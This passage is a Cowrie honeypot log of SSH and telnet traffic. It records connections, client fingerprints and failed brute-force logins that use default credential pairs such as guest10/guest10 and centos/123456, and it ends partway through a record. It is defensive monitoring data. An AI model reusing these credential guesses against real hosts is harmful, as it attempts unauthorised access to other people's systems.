{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:19.942630Z","src_ip":"186.80.18.158","session":"1aef2aa68c5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:20.021224Z","src_ip":"186.80.18.158","session":"1aef2aa68c5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest10","password":"guest10","message":"login attempt [guest10/guest10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:20.353923Z","src_ip":"186.80.18.158","session":"1aef2aa68c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:21.431353Z","src_ip":"186.80.18.158","session":"1aef2aa68c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"35.9","message":"Connection lost after 35.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:24.387581Z","src_ip":"122.168.114.167","session":"7a51930c5e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":33080,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6b83c3160bd","protocol":"ssh","message":"New connection: 122.168.114.167:33080 (159.203.135.109:22) [session: b6b83c3160bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:27.665223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:32.772086Z","src_ip":"122.168.114.167","session":"b6b83c3160bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:32.776017Z","src_ip":"122.168.114.167","session":"b6b83c3160bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:51.770595Z","src_ip":"122.168.114.167","session":"b6b83c3160bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42290,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2f85480b6bd","protocol":"ssh","message":"New connection: 159.203.92.129:42290 (159.203.135.109:22) [session: f2f85480b6bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:58.204063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:58.208384Z","src_ip":"159.203.92.129","session":"f2f85480b6bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:58.212773Z","src_ip":"159.203.92.129","session":"f2f85480b6bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appusr","password":"appusr","message":"login attempt [appusr/appusr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:58.266836Z","src_ip":"159.203.92.129","session":"f2f85480b6bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.8","message":"Connection lost after 30.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:58.434051Z","src_ip":"122.168.114.167","session":"b6b83c3160bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:59.272365Z","src_ip":"159.203.92.129","session":"f2f85480b6bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":46720,"dst_ip":"159.203.135.109","dst_port":23,"session":"8159a5c2e014","protocol":"telnet","message":"New connection: 185.26.126.47:46720 (159.203.135.109:23) [session: 8159a5c2e014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:03.832741Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35486,"dst_ip":"159.203.135.109","dst_port":22,"session":"db2c06742df5","protocol":"ssh","message":"New connection: 122.168.114.167:35486 (159.203.135.109:22) [session: db2c06742df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:11.735301Z"}
{"eventid":"cowrie.session.closed","duration":10.14261794090271,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:13.975247Z","src_ip":"185.26.126.47","session":"8159a5c2e014","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54006,"dst_ip":"159.203.135.109","dst_port":23,"session":"4941e5f75aa5","protocol":"telnet","message":"New connection: 185.26.126.47:54006 (159.203.135.109:23) [session: 4941e5f75aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:14.160052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:17.033576Z","src_ip":"122.168.114.167","session":"db2c06742df5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:17.037146Z","src_ip":"122.168.114.167","session":"db2c06742df5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:37.370950Z","src_ip":"122.168.114.167","session":"db2c06742df5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41472,"dst_ip":"159.203.135.109","dst_port":22,"session":"5479ccaeb502","protocol":"ssh","message":"New connection: 159.203.92.129:41472 (159.203.135.109:22) [session: 5479ccaeb502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:41.767481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:41.771545Z","src_ip":"159.203.92.129","session":"5479ccaeb502","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:41.775435Z","src_ip":"159.203.92.129","session":"5479ccaeb502","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appusr","password":"appusr123","message":"login attempt [appusr/appusr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:41.784871Z","src_ip":"159.203.92.129","session":"5479ccaeb502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:42.790558Z","src_ip":"159.203.92.129","session":"5479ccaeb502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.3","message":"Connection lost after 31.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:43.046642Z","src_ip":"122.168.114.167","session":"db2c06742df5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37896,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9228331cf1f","protocol":"ssh","message":"New connection: 122.168.114.167:37896 (159.203.135.109:22) [session: e9228331cf1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:53.920854Z"}
{"eventid":"cowrie.session.closed","duration":41.433884382247925,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:55.593817Z","src_ip":"185.26.126.47","session":"4941e5f75aa5","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:58.171337Z","src_ip":"122.168.114.167","session":"e9228331cf1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:43:58.174926Z","src_ip":"122.168.114.167","session":"e9228331cf1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:44:13.832848Z","src_ip":"122.168.114.167","session":"e9228331cf1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.2","message":"Connection lost after 25.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:44:19.116515Z","src_ip":"122.168.114.167","session":"e9228331cf1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54798,"dst_ip":"159.203.135.109","dst_port":22,"session":"46ea0b9e35ad","protocol":"ssh","message":"New connection: 159.203.92.129:54798 (159.203.135.109:22) [session: 46ea0b9e35ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:44:25.030706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:44:25.036488Z","src_ip":"159.203.92.129","session":"46ea0b9e35ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:44:25.042025Z","src_ip":"159.203.92.129","session":"46ea0b9e35ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appv10g","password":"123456","message":"login attempt [appv10g/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:44:25.054395Z","src_ip":"159.203.92.129","session":"46ea0b9e35ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:44:26.060652Z","src_ip":"159.203.92.129","session":"46ea0b9e35ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40294,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6db9c9b699a","protocol":"ssh","message":"New connection: 122.168.114.167:40294 (159.203.135.109:22) [session: b6db9c9b699a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:44:32.703666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:44:36.899359Z","src_ip":"122.168.114.167","session":"b6db9c9b699a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes